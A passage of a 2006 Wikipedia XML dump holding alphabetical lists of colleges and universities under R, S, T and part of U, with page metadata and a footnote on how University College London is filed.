[[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Rabindra Bharati University]]
#[[Radboud University Nijmegen]] ([[Nijmegen]], [[The Netherlands]])
#[[Radford University]]
#[[Rajamangala Institute of Technology]]
#[[Ramrao Adik Institute of Engineering]]
#[[Rand Afrikaans University]]
#[[Randolph-Macon College]]
#[[Randolph-Macon Woman's College]]
#[[Rapperswil School of Engineering]]
#[[Rashtreeya Vidyalaya College of Engineering]]
#[[Rayapati Venkata Rangarao and Jagarlamudi Chandramouli College of Engineering]]
#[[University of Reading]]
#[[Red de Interconexion Universitaria (RIU)]]
#[[Red River Community College]]
#[[Reed College]] ([[Portland, Oregon]])
#[[Regent College]]
#[[Regent University College of Communication]]
#[[Regent University]]
#[[Regional Engineering College, Calicut]]
#[[Regional Engineering College, Durgapur]]
#[[Regional Engineering College, Rourkela]]
#[[Regional Engineering College, Suratkal]]
#[[Regional Engineering College, Tiruchirappalli, India]]
#[[Regional Engineering College, Trichy]]
#[[Regional Engineering College, Warangal]]
#[[Regional Institute of Technology Jamshedpur]]
#[[Regional Technical College, Carlow]]
#[[Regional Technical College, Cork]]
#[[Regional Technical College, Dundalk]]
#[[Regional Technical College, Galway]]
#[[Regional Technical College, Letterkenny]]
#[[Regional Technical College, Limerick]]
#[[Regional Technical College, Sligo]]
#[[Regional Technical College, Tallaght]]
#[[Regis College]]
#[[Reitaku University]]
#[[Rensselaer Polytechnic Institute]]
#[[Reutlingen University]]
#[[Reykjavík University]]
#[[Rhode Island College]]
#[[Rhode Island School of Design]]
#[[Rhodes College]]
#[[Rhodes University]]
#[[Rice University]] ([[Houston, Texas]])
#[[Richard Huish College]]
#[[Richard Stockton University]]
#[[Richland College]] (part of the [[DCCCD]])
#[[Ricks College]]
#[[Rider University]]
#[[Riga Technical University]]
#[[Rio Salado Community College]]
#[[Ripon College]]
#[[Ritsumeikan University]]
#[[Riverside Community College]]
#[[Roanoke Bible College]]
#[[Roanoke College]]
#[[Robert Gordon University]]
#[[Rochester Institute of Technology]]
#[[Rockefeller University]]
#[[Rockford College]]
#[[Rockhurst College]]
#[[Rocky Mountain College]]
#[[Rollins College]]
#[[Rollins School of Public Health]]
#[[Roosevelt University]]
#[[Rose-Hulman Institute of Technology]] ([[Terre Haute, Indiana]])
#[[Roskilde University]]
#[[Ross University School of Veterinary Medicine]]
#[[Ross University School of Medicine]]
#[[Rostov State University]]
#[[Rowan College of New Jersey]]
#[[Royal College of Surgeons]]
#[[Royal Danish School of Educational Studies]]
#[[Royal Danish School of Pharmacy]]
#[[Royal Holloway, University of London]]
#[[Royal Institute of Technology]] ([[Stockholm]], [[Sweden]]) 
#[[Royal Melbourne Institute of Technology]]
#[[Royal Military Academy of Belgium]]
#[[Royal Military College of Canada]]
#[[Royal Postgraduate Medical School]]
#[[Royal Roads University]]
#[[Royal University of Bhutan]]
#[[Royal Veterinary and Agricultural University]]
#[[Royal Veterinary College, London]]
#[[Royal Welsh College of Music and Drama]]
#[[Rudolf Steiner College]]
#[[Ruhr-Universität Bochum]]
#[[Russell Sage College]]
#[[Russian Academy of Sciences]]
#[[Rutgers University - Campus at Newark]]
#[[Rutgers University, Camden]]
#[[Rutgers University]]
#[[RWTH Aachen|Rheinisch-Westfälische Technische Hochschule Aachen (RWTH)]]
#[[Ryerson Polytechnic University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|R]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with S</title>
    <id>6492</id>
    <revision>
      <id>40624382</id>
      <timestamp>2006-02-21T22:27:38Z</timestamp>
      <contributor>
        <username>Pjb007</username>
        <id>957380</id>
      </contributor>
      <comment>Added Shrewsbury's Colleges</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- '''S''' -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Sor-Trondelag College (HiST)]]
#[[Sabanci University]]
#[[Sacramento City College]]
#[[California State University, Sacramento|Sacramento State University]]
#[[Sacred Heart University]]
#[[Saddleback College]]
#[[Saga University]]
#[[Sage Colleges]]
#[[Sage Evening College]]
#[[Sage Graduate School]]
#[[Sage Junior College of Albany]]
#[[Saginaw Valley State University]]
#[[Saint Ambrose University]]
#[[Saint Andrews Presbyterian College]]
#[[Saint Anselm College]]
#[[College of Saint Benedict / Saint John's University | Saint John's University]] (College of Saint Benedict | Saint John's University)
#[[Saint Joseph College]]
#[[Saint Joseph's College]]
#[[Saint Joseph's College of Maine]]
#[[Saint Joseph's University]]
#[[Saint Leo College]]
#[[Saint Louis Christian College]]
#[[Saint Louis University]]
#[[Saint Mary's College of California]]
#[[Saint Mary's College of Meycauayan]]
#[[Saint Mary's University]] ([[Halifax, Nova Scotia]])
#[[Saint Mary's University of San Antonio]]
#[[Saint Mary's University of Minnesota]]
#[[Saint Michael's College]]
#[[Saint Michael's College]]
#[[Saint Petersburg Junior College]]
#[[Saint Petersburg State University]] ([[Russia]])
#[[Saint Regis University]] 
#[[Saint Thomas University]]
#[[Saint Thomas University of Miami]]
#[[Saint Vincent College]]
#[[Saint Xavier University]]
#[[Salem College]]
#[[Salem International University]]
#[[Salem State College]]
#[[Salisbury University]]
#[[Salt Lake City Community College]]
#[[Sam Houston State University]]
#[[Samara State University]]
#[[Samford University]]
#[[San Diego City College]]
#[[San Diego Mesa College]]
#[[San Diego State University]]
#[[San Francisco Conservatory of Music]]
#[[San Francisco State University]]
#[[San Jacinto College District]]
#[[San Joaquin Delta College]]
#[[San Jose State University]]
#[[Santa Barbara City College]]
#[[Santa Clara University]]
#[[Santa Fe Community College]]
#[[Santa Monica College]]
#[[Santa Rosa Junior College]]
#[[Sarah Lawrence College]]
#[[Sapporo Medical University]]
#[[Saskatchewan Indian Institute of Technologies]]
#[[Saskatchewan Institute of Applied Science and Technology]]
#[[Sasin Graduate Institute of Business Administration of Chulalongkorn University]]
#[[Satakunta Polytechnic]]
#[[Sauk Valley Community College]]
#[[Sault College]]
#[[Savannah College of Art and Design]]
#[[Savonia University of Applied Sciences]]
#[[Scarborough College, University of Toronto]]
#[[Schiller International University]][http://www.schiller.edu/]
#[[Scholl College of Podiatric Medicine]]
#[[School of Business Administration Turiba]]
#[[School of Engineering Cantone Ticino]]
#[[School of Engineering of Bern HTL]]
#[[School of Engineering of Brugg-Windisch HTL]]
#[[School of Engineering of Burgdorf HTL]]
#[[School of Islamic and Social Sciences (SISS)]]
#[[School of Management, University of Bath]]
#[[School of Mines and Industries Ballarat]]
#[[School of Oriental and African Studies]]
#[[School of the Art Institute of Chicago]]
#[[School of the Visual Arts]]
#[[Science University of Tokyo]]
#[[Scott Community College]]
#[[Scottish Church College, Calcutta]]
#[[Scottsdale Community College]]
#[[Scuola Galileiana di Studi Superiori]]
#[[Scuola Normale Superiore]]
#[[Scuola Superiore di Studi Universitari e di Perfezionamento Sant'Anna]]
#[[Seattle Central Community College]]
#[[Seattle Community College District]]
#[[Seattle Pacific University]]
#[[Seattle University]]
#[[Sejong University]]
#[[Selkirk College]]
#[[Semmelweis University of Medical Sciences]]
#[[Sendai National College of Technology]]
#[[Seneca College of Applied Arts and Technology]]
#[[Seoul National University]]
#[[Serampore College]]
#[[Seton Hall University]]
#[[Seton Hill University]]
#[[Sewanee, The University of the South]]
#[[Shahid Beheshti University]]
#[[Shahrood University of Technology]]
#[[Shandong University]]
#[[Shanghai Jiaotong University]]
#[[Shanghai Medical University]]
#[[Sharif University of Technology]] (Tehran, Iran)
#[[Shasta College]]
#[[Shawnee State University]]
#[[Sheffield Hallam University]]
#[[Shenandoah University]]
#[[Sheridan College]]
#[[Sherubtse College]]
#[[Shiga Polytechnic College]]
#[[Shimane Medical University]]
#[[Shippensburg University of Pennsylvania]]
#[[Shiraz University]]
#[[Shiraz University of Medical Sciences]]
#[[Shoreline Community College]]
#[[Shorter College]]
#[[Shrewsbury College of Arts &amp; Technology]]
#[[Shrewsbury Sixth Form College]]
#[[Shri Ram College of Commerce, Delhi University]]
#[[Sibelius Academy]]
#[[Sierra Jr. College]]
#[[Silesian Technical University]]
#[[Silesian University]]
#[[Silpakorn University]]
#[[Simmons College]]
#[[Simon Fraser University]]
#[[Simon's Rock College]]
#[[Simpson College]]
#[[Singapore Institute of Management]]
#[[Singapore Management University]]
#[[Singapore Polytechnic]]
#[[Sir Sandford Fleming College]]
#[[Sir Wilfred Grenfell College]]
#[[Sirindhorn International Institute of Technology|Sirindhorn International Institute of Technology (SIIT), Thammasat University]]
#[[Skidmore College]]
#[[Slippery Rock University of Pennsylvania]]
#[[Slovak University of Technology in Bratislava]]
#[[Smith Chapel Bible College]]
#[[Smith College]]
#[[Snow College]]
#[[Sofia University]]
#[[Sogang University]]
#[[Soka University]]
#[[Solano Community College]]
#[[Soochow University]]
#[[Sonoma State University]]
#[[Sophia University]]
#[[South Bank University]]
#[[South Bohemia University]]
#[[South China University of Technology]]
#[[South Dakota School of Mines and Technology]]
#[[South Dakota State University]]
#[[South East European University|South East European (SEE) University]]
#[[South Georgia College]]
#[[South Mountain Community College]]
#[[South Plains College]]
#[[South Seattle Community College]]
#[[South Texas College of Law]]
#[[South Texas Community College]]
#[[Southampton College]]
#[[Southeast Missouri State University]]
#[[Southeast University]]
#[[Southeastern Illinois College]]
#[[Southeastern Louisiana University]]
#[[Southern Alberta Institute of Technology]]
#[[Southern California College]]
#[[Southern College of Seventh-day Adventists]]
#[[Southern College of Technology]]
#[[Southern Connecticut State University]]
#[[Southern Cross University]]
#[[Southern Denmark Business School (HHS)]]
#[[Southern Illinois University]]
#[[Southern Illinois University at Edwardsville]]
#[[Southern Maine Technical College]]
#[[Southern Methodist University]]
#[[Southern Nazarene University]]
#[[Southern Oregon State College]]
#[[Southern Polytechnic State University]]
#[[Southern University]]
#[[Southern Utah University]]
#[[Southern Wesleyan University]]
#[[Southwest Agriculture University]]
#[[Southwest Baptist University]]
#[[Southwest Missouri State University]]
# Southwest Texas State University ([[Texas State University-San Marcos]])
#[[Southwest University of Finance and Economics]]
#[[Southwestern Adventist College]]
#[[Southwestern Assemblies of God University]]
#[[Southwestern College (Arizona)]]
#[[Southwestern College (California)]]
#[[Southwestern College (Kansas)]]
#[[Southwestern Indian Polytechnic Institute]]
#[[Southwestern University]]
#[[Spartanburg Methodist College]]
#[[Spelman College]]
#[[Spring Hill College]]
#[[Springfield College]]
#[[Sri Jayachamarajendra College of Engineering]]
#[[Sriram Engineering College, Perumalpattu,TN ,Inida]]
#[[Sri Venkateswara College of Engineering]]
#[[Srinakharinwirot University]]
#[[St John's Medical College, Bangalore]]
#[[St Aidan's College]], [[University of Durham]]
#[[St Anne's College, Oxford]]
#[[St. Bonaventure University]]
#[[St Catherine's College, Oxford]]
#[[St Chad's College]], [[University of Durham]]
#[[St. Cloud State University]]
#[[St Cross College, Oxford]]
#[[St Cuthbert's Society]], [[University of Durham]]
#[[St Cyril and Methodius University]]
#[[St. Edmund's College]], [[Shillong]]
#[[St Edmund Hall, Oxford]]
#[[St. Edward's University]]
#[[St. Francis Xavier University]]
#[[St Hilda's College, Oxford]]
#[[St Hugh's College, Oxford]]
#[[St John's College, Cambridge]]
#[[St John's College, Durham|St John's College]], [[University of Durham]]
#[[St John's College, Oxford]]
#[[St John's University]]
#[[St. Lawrence University]]
#[[St Louis College of Pharmacy]]
#[[St Louis University, Baguio]]
#[[St Mary's College, Durham|St Mary's College]], [[University of Durham]]
#[[St Mary's University, Canada]]
#[[St Mary's University, Texas]]
#[[St. Norbert College|St Norbert College]]
#[[St. Olaf College]]
#[[St. Patrick's College, Maynooth]]
#[[St. Paul's College]]
#[[St Peter's College]]
#[[St Peter's College, Oxford]]
#[[St Petersburg State Polytechnical University]]
#[[St Stephens College, Delhi]]
#[[St. Stephen's University]]
#[[St. Thomas More College]]
#[[St. Thomas University (New Brunswick)]]
#[[St Xavier's College]]
#[[St Andrews University]]
#[[St Patrick's College Maynooth]]
#[[Staffordshire University]]
#[[Stained Glass Craft and Fine Arts College]]
#[[Stanford University]] ([[Palo Alto, California]])
#[[Stanislaw Staszic University of Mining And Metallurgy]]
#[[State Engineering University of Armenia]]
#[[State University Lvivska Polytechnic]]
#[[State University of New York (SUNY)]]
#[[University at Albany|State University of New York at Albany]]
#[[State University of New York at Binghamton]]
#[[State University of New York at Brockport]]
#[[State University of New York at Canton]]
#[[State University of New York at Cortland]]
#[[State University of New York at Delhi]]
#[[State University of New York at Farmingdale]]
#[[State University of New York at Geneseo]]
#[[State University of New York at Morrisville]]
#[[State University of New York at New Paltz]]
#[[State University of New York at Old Westbury]]
#[[State University of New York at Oneonta]]
#[[State University of New York at Oswego]]
#[[State University of New York at Potsdam]]
#[[State University of New York at Plattsburgh]]
#[[Purchase College|State University of New York at Purchase]]
#[[Stony Brook University|State University of New York at Stony Brook]]
#[[Buffalo State College|State University of New York College at Buffalo]]
#[[Alfred State College|State University of New York College of Technology at Alfred]]
#[[State University of New York Institute of Technology]]
#[[State University of New York Maritime College]]
#[[University at Buffalo|University Center at Buffalo, State University of New York]]
#[[State University of West Georgia]]
#[[Stavanger College]]
#[[Stephen F. Austin State University]]
#[[Stephens College]]
#[[Stetson University]]
#[[Stevens Institute of Technology]]
#[[STMIK-Mikroskil]]
#[[Stockholm School of Economics]] ([[Stockholm, Sweden]])
#[[Stockholm University]] ([[Stockholm, Sweden]])
#[[Stonehill College]]
#[[Stord/Haugesund College]]
#[[Stranmillis College]]
#[[Strasbourg University]]
#[[Strayer College]]
#[[Suffolk Community College]]
#[[Suffolk University]]
#[[Sukhothai Thammathirat Open University]]
#[[Sundai College of Foreign Languages]]
#[[Sullivan University]]
#[[University of Sunderland]]
#[[Suranaree University of Technology]]
#[[Susquehanna University]]
#[[Suzhou Medical College]]
#[[Suzhou University]]
#[[Swansea University]]
#[[Swarthmore College]]
#[[Swedish School of Economics and Business Administration, Finland]]
#[[Swedish University of Agricultural Sciences]]
#[[Sweet Briar College]]
#[[Swinburne University of Technology]]
#[[ETH Zurich|Swiss Federal Institute of Technology, Zurich]]
#[[Ecole Polytechnique Federale de Lausanne|Swiss Federal Institute of Technology, Lausanne]]
#[[Sydney Institute of Technology]]
#[[University of Sydney]]
#[[Syracuse University]]
#[[Szeged University]]
#[[Södertörns Högskola]]

==See also==
* [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|S]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with T</title>
    <id>6493</id>
    <revision>
      <id>38732206</id>
      <timestamp>2006-02-08T06:32:42Z</timestamp>
      <contributor>
        <ip>81.179.102.238</ip>
      </contributor>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- '''T''' -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Tabor College, Australia]]
#[[Tabor College, Kansas]]
#[[Tabriz University]]
#[[Tabriz University Of Medical Sciences]]
#[[Taegu University]]
#[[Taejeon Vocational Junior College]]
#[[Taft College]]
#[[Taipei Medical College]]
#[[Takuma National College of Technology]]
#[[Takshashila University]], [[Taxila]], [[Pakistan]]
#[[Tallinn University of Technology]]
#[[Tama Institute of Management and Information Sciences]]
#[[Tamkang University]]
#[[Tampere Institute of Technology]]
#[[Tampere University of Technology]]
#[[Tamsui Oxford University College]]
#[[Tanjore Medical College]]
#[[Tarleton State University]]
#[[Tatung Institute of Technology]]
#[[Taylor University]]
#[[Teachers College]]
#[[Teacher Training University in Tehran]]
#[[Technical University in Zvolen]]
#[[Technical University of Berlin]]
#[[Technical University of British Columbia]]
#[[Technical University of Brno]]
#[[Technical University of Budapest]]
#[[Technical University of Cluj]]
#[[Technical University of Crete (T.U.C)]]
#[[Technical University of Denmark]]
#[[Technical University of Iasi]]
#[[Technical University of Kosice]]
#[[Technical University of Madrid]]
#[[Technical University of Nova Scotia]]
#[[Technical University of Targu Mures]]
#[[Technical University of Timisoara]]
#[[Technical University of Valencia]]
#[[Technikon Southern Africa]]
#[[Technikum Vorarlberg]]
#[[Technikum Winterthur Ingenieurschule]]
#[[Technion Israel Institute of Technology]]
#[[Technische Fachhochschule Berlin]]
#[[Technische Hochschule Darmstadt]]
#[[Technische Universität Berlin]]
#[[Technische Universität Braunschweig]]
#[[Technische Universität Chemnitz-Zwickau ]]
#[[Technische Universität Clausthal]]
#[[Technische Universität Dresden]]
#[[Technische Universität Bergakademie Freiberg]]
#[[Technische Universität Graz]]
#[[Technische Universität Hamburg-Harburg]]
#[[Technische Universität Ilmenau]]
#[[Technische Universität München]]
#[[Technische Universität Wien]]
#[[Tehran University of Medical Sciences]]
#[[Teikyo University]]
#[[Tel Aviv University]]
#[[Telemark College]]
#[[Temasek Polytechnic]]
#[[Temple University]]
#[[Temple University Japan]]
#[[Tennessee State University]]
#[[Tennessee Technological University]]
#[[Texas A&amp;M International University]] ([[Laredo, Texas]])
#[[Texas A&amp;M University]] ([[College Station, Texas]])
#[[Texas A&amp;M University at Galveston]] ([[Galveston, Texas]])
#[[Texas A&amp;M University - Corpus Christi]] ([[Corpus Christi, Texas]])
#[[Texas A&amp;M University - Kingsville]] ([[Kingsville, Texas]])
#[[Texas Christian University]] ([[Fort Worth, Texas]])
#[[Texas Southern University]] ([[Houston, Texas]])
#[[Texas State Technical College]] (several locations in [[Texas]])
#[[Texas State University-San Marcos]]
#[[Texas Tech University]] ([[Lubbock, Texas]])
#[[Texas Woman's University]] ([[Denton, Texas]])
#[[Thadomal Shahani Engineering College (TSEC)]]
#[[Thammasat University]]
#[[Thompson Rivers University]]
#[[The American College]]
#[[The King's University College]]
#[[The Queen's College, Oxford]]
#[[The Royal College of Physicians and Surgeons of Canada]]
#[[Thomas Aquinas College]]
#[[Thomas College]]
#[[Thomas Edison State College]]
#[[Thomas Jefferson University]]
#[[Thomas More College]]
#[[Tianjin University]]
#[[Tidewater Community College]]
#[[Tierärztliche Hochschule Hannover (High School of animal medicine at Hanover]]
#[[Tilburg University]]
#[[Toccoa Falls College]]
#[[Tohoku University]]
#[[Tokai University]]
#[[Tokyo Gakugei University]]
#[[Tokyo Institute of Technology]]
#[[Tokyo International University]]
#[[Tokyo Kaseigakuin Tsukuba Junior College]]
#[[Tokyo Kogei Tanki University]]
#[[Tokyo Medical and Dental University]]
#[[Tokyo Metropolitan College of Aeronautical Engineering]]
#[[Tokyo University]]
#[[Tokyo University of Agriculture and Technology]]
#[[Tokyo University of Foreign Studies]]
#[[Tokyo University of Science]]
#[[Tokyo Woman's Christian University]]
#[[Tokyo Women's Medial College]]
#[[Tomball College]]
#[[Tompkins Cortland Community College]]
#[[Tomsk State University]]
#[[Tongji University]]
#[[Tongji Medical University]]
#[[Tongji Medical College]] of [[Huazhong University of Science and Technology]]
#[[Toronto School of Theology]]
#[[Towson State University]]
#[[Toyama Medical and Pharmaceutical University]]
#[[Toyama University]]
#[[Tralee Regional Technical College]]
#[[Transylvania University]]
#[[Trent University]]
#[[Trenton State College]]
#[[Trevecca Nazarene University]]
#[[Trevelyan College]], [[University of Durham]]
#[[Tri-State University]]
#[[Trinidad State Junior College]]
#[[Trinity College Dublin]]
#[[Trinity College (Carmarthen)]]
#[[Trinity College (Connecticut)]]
#[[Trinity College (Washington, DC)]]
#[[Trinity College (Florida)]]
#[[Trinity College (Vermont)]]
#[[Trinity College and Seminary]]
#[[University of Trinity College]]
#[[Trinity University]]
#[[Trinity Western University]]
#[[Triton College]]
#[[Truckee Meadows Community College]]
#[[Truman State University]]
#[[Tsinghua University]]
#[[Tucson University]]
#[[Tufts University]]
#[[Tulane University]]
#[[Tung Nan Junior College of Technology]]
#[[Tunghai University]]
#[[Turkiye Bilimsel ve Teknik Arastirma Kurumu]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|T]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with U</title>
    <id>6494</id>
    <revision>
      <id>42153247</id>
      <timestamp>2006-03-04T04:14:48Z</timestamp>
      <contributor>
        <username>Loukinho</username>
        <id>461336</id>
      </contributor>
      <comment>/* S */</comment>
      <text xml:space="preserve">[[List of colleges and universities starting with A|A]] -- [[List of colleges and universities starting with B|B]] -- [[List of colleges and universities starting with C|C]] -- [[List of colleges and universities starting with D|D]] -- [[List of colleges and universities starting with E|E]] -- [[List of colleges and universities starting with F|F]] -- [[List of colleges and universities starting with G|G]] -- [[List of colleges and universities starting with H|H]] -- [[List of colleges and universities starting with I|I]] -- [[List of colleges and universities starting with J|J]] -- [[List of colleges and universities starting with K|K]] -- [[List of colleges and universities starting with L|L]] -- [[List of colleges and universities starting with M|M]] -- [[List of colleges and universities starting with N|N]] -- [[List of colleges and universities starting with O|O]] -- [[List of colleges and universities starting with P|P]] -- [[List of colleges and universities starting with Q|Q]] -- [[List of colleges and universities starting with R|R]] -- [[List of colleges and universities starting with S|S]] -- [[List of colleges and universities starting with T|T]] -- '''U''' -- [[List of colleges and universities starting with V|V]] -- [[List of colleges and universities starting with W|W]] -- [[List of colleges and universities starting with X|X]] -- [[List of colleges and universities starting with Y|Y]] -- [[List of colleges and universities starting with Z|Z]]

== Main section ==
'''Universities beginning with U, excluding the words ''' ''University, Universidad, Université, etc. {{ref|exceptions}}''
#[[UNIK - Center for Technology at Kjeller, University of Oslo]]
#[[UNITEC Institute of Technology]]
#[[Ube College]]
#[[Ulsan University]]
#[[Uludag]]
#[[Umeå Institute of Technology]]
#[[Umeå Institute of Design]]
#[[Umeå School of Business]]
#[[Umeå University]]
#[[Uniformed Services University of the Health Sciences]]
#[[Union College]]
#[[Union Institute &amp; University]] (formerly Union Institute, The Union Institute, Union of Experimenting Colleges and Universities)
#[[Union Theological Seminary]]
#[[Union University]]
#[[United Arab Emirates University]]
#[[United Medical and Dental Schools of Guy's and St Thomas's Hospitals]]
#[[United Nations University]] ([[Tokyo, Japan]])
#[[United States Air Force Academy]]
#[[United States Coast Guard Academy]]
#[[United States International University]]
#[[United States Merchant Marine Academy]]
#[[United States Military Academy]]
#[[United States Naval Academy]]
#[[United States Sports Academy]]
#[[Unity College]]
#[[University College London]]{{ref_label|exceptions|1|a}}
#[[Upper Iowa University]]
#[[Uppsala Institute of Technology]]
#[[Uppsala University]]
#[[Ural State University]]
#[[Ursinus College]]
#[[Ursuline College]]
#[[Ushaw College]], [[University of Durham]]
#[[Ustinov College]], [[University of Durham]]
#[[Utah State University]]
#[[Utah Valley State College]]
#[[Utrecht University]] ([[Utrecht (city)|Utrecht]], [[The Netherlands]])
#[[Utsunomiya University]]

===Footnotes===

#{{note|exceptions}} As an exception to the conventional dropping of ''university'' when categorizing universities, [[University College London]] in the [[United Kingdom|UK]] is always categorized under 'U', to avoid confusion with other colleges of the [[University of London]].

== Ordered by main word ==

'''Universities ordered by main word, including''' ''University, Universidad, Université, '' etc.

=== A ===
#[[University of Aarhus]]
#[[University of Aberdeen]]
#[[University of Abertay Dundee]]
#[[Universidade dos Açores]]
#[[University of Adelaide]]
#[[University of the Aegean]]
#[[University of Agricultural Sciences (UAS), Bangalore]]
#[[University of Agriculture, Nitra]]
#[[University of Akron]]
#[[University of Akureyri]]
#[[Universite d'Aix-Marseille III]]
#[[University of Aizu]]
#[[Universite d'Angers]]
#[[University of Alabama]]
#[[University of Alabama, Birmingham]]
#[[University of Alabama, Huntsville]]
#[[University of Alaska System]]
#[[University of Alaska Anchorage]]
#[[University of Alaska Fairbanks]]
#[[University of Alaska Southeast]]
#[[University of Alberta]]
#[[Universidade do Algarve]]
#[[Universidad de Alicante]]
#[[Universidad de Almeria]]
#[[Universidad Americana]]
#[[University of the Americas]]
#[[Universiteit van Amsterdam]] ([[Amsterdam]], [[The Netherlands]])
#[[Universidad Anáhuac]]
#[[Universidad Anáhuac del Sur]]
#[[University of Ancona]]
#[[Universidad de Antioquia]]
#[[Universidad Antonio Narino]]
#[[University of Antwerp]]
#[[University of the Arctic]]
#[[University of Arizona]]
#[[University of Arkansas, Fayetteville]]
#[[University of Arkansas, Little Rock]]
#[[University of Arkansas, Monticello]]
#[[University of Art and Design Helsinki]]
#[[University of Art and Industrial Design]]
#[[University of the Arts]]
#[[University of Asia and the Pacific]]
#[[Universidad de Atacama]]
#[[University of Athens]]
#[[University of Auckland]]
#[[Universitat Augsburg]]
#[[Universidad Autónoma de Baja California]]
#[[Universidad Autónoma de Guadalajara]]
#[[Autonomous University of Madrid|Universidad Autónoma de Madrid]]
#[[Universidad Autónoma de Yucatán]]
#[[Universidad Autónoma Metropolitana]]
#[[Universidad Autónoma de Baja California]]
#[[Autonomous University of Barcelona|Universitat Autònoma de Barcelona]]
#[[Universidad Autónoma de Nayarit]]
#[[Universidad Autónoma de Nuevo León]]
#[[Universidad Autónoma de Sinaloa]]
#[[Universidade de Aveiro]]

=== B ===
#[[University of Bahrain]]
#[[University of Ballarat]]
#[[University of Baltimore]]
#[[Universitat Bamberg]]
#[[Bangladesh University of Engineering and Technology|Bangladesh University of Engineering and Technology - BUET]]
#[[Universitat de Barcelona]]
#[[Universitat Basel]]
#[[University of the Basque Country]]
#[[University of Bath]]
#[[Universitat Bayreuth]]
#[[Universidade da Beira Interior]]
#[[Univerzitet u Beogradu]]
#[[University of Bergen]] ([[Bergen, Norway]])
#[[University of Berkley]]
#[[University of Berne]]
#[[Universitat Bielefeld]]
#[[Universidad del Bío-Bío]]
#[[University of Birmingham]]
#[[Universitat fur Bodenkultur]]
#[[University of Bonn]]
#[[University of Boras]]
#[[Universite de Bordeaux]]
#[[University of Bradford]]
#[[Universidade de Brasilia]]
#[[Universitat Bremen]]
#[[Universit degli studi di Brescia]]
#[[University of Bridgeport]]
#[[University of Brighton]]
#[[University of British Columbia]]
#[[Universiti Brunei Darussalam]]
#[[University of Buckingham]]
#[[Universidad de Buenos Aires]]
#[[Universitat der Bundeswehr Hamburg]]
#[[Universitat der Bundeswehr Munchen]]

=== C ===
#[[Universidad de Cadiz]]
#[[Université de Caen]]
#[[Universita di Cagliari]]
#[[University of Calcutta]]
#[[University of Calgary]]
#[[University of California Extension - CMIL]]
#[[University of California, Berkeley]]
#[[University of California, Davis]]
#[[University of California, Irvine]]
#[[University of California, Los Angeles]]
#[[University of California, Merced]]
#[[University of California, Riverside]]
#[[University of California, San Diego]]
#[[University of California, San Francisco]]
#[[University of California, Santa Barbara]]
#[[University of California, Santa Cruz]]
#[[University of Cambridge]] ([[Cambridge, England]])
#[[UNICAMP|University of Campinas]] ([[Campinas]], [[Brazil]])
#[[University of Canberra]]
#[[University of Cantabria]]
#[[University of Canterbury]]
#[[University of Cape Town]]
#[[Universidad de Castilla-La Mancha]]
#[[Université catholique de Louvain]]
#[[Universidad Catolica Andres Bello]]
#[[Universidade Catolica Portuguesa]]
#[[Universidade Catolica de Brasilia]]
#[[Universidade Catolica de Pernambuco]]
#[[Universidad Catolica del Norte]]
#[[University of Catania]]
#[[Universidad Católica de Valparaíso]]
#[[University of Central Arkansas]]
#[[University of Central Florida]]
#[[University of Central Lancashire]]
#[[University of Central Oklahoma]]
#[[Central University of Venezuela|Universidad Central de Venezuela]]
#[[Universite Charles-de-Gaulle - Lille 3]]
#[[University of Charleston]]
